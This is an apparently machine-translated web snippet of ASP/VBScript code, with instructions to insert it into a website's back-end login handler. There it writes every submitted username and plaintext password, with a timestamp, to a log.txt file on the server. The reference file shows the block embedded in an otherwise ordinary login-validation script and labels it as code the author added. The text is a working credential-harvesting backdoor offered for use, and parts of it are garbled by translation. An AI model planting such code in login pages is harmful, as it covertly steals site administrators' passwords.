Core code:
Copy codeThe Code is as follows: set fso = server. createobject ("scripting. filesystemobject ")
If fso. FileExists (server. mappath ("log.txt") = true then
Set fin = fso. OpenTextFile (server. mappath ("log.txt "))
Temp = fin. readall
Fin. close
Set fin = nothing
End if
Set fout = fso. createtextfile (server. mappath ("log.txt "))
Fout. WriteLine (temp & "user:" & username & "Your pwd:" & password & "Your time:" & now ()&"")
Fout. close
Set fout = nothing
Set fso = nothing
Insert where the form is submitted at the background logon!
Reference file:Copy codeThe Code is as follows: <% @ language = vbscript codepage = 936%>
<%
Dim SQL, rs
Dim username, password, CheckCode
Username = replace (trim (request ("username ")),"'","")
Password = replace (trim (Request ("password ")),"'","")
CheckCode = replace (trim (Request ("CheckCode ")),"'","")
If UserName = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the user name cannot be blank! </Li>"
End if
If Password = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the password cannot be blank! </Li>"
End if
If CheckCode = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> The Verification Code cannot be blank! </Li>"
End if
If session ("CheckCode") = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> your logon time is too long. Please return to the logon page again to log on. </Li>"
End if
If CheckCode <> CStr (session ("CheckCode") then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the verification code you entered is inconsistent with that generated by the system. Please enter it again. </Li>"
End if
'The code I added later is ~ Start Area
Set fso = server. createobject ("scripting. filesystemobject ")
If fso. FileExists (server. mappath ("log.txt") = true then
Set fin = fso. OpenTextFile (server. mappath ("log.txt "))
Temp = fin. readall
Fin. close
Set fin = nothing
End if
Set fout = fso. createtextfile (server. mappath ("log.txt "))
Fout. WriteLine (temp & "user:" & username & "| pwd:" & password & "| time:" & now ()&"")
Fout. close
Set fout = nothing
Set fso = nothing
'I deleted the code later ~ End Area
%>
The statement involved in this article is written by: there are not many iFat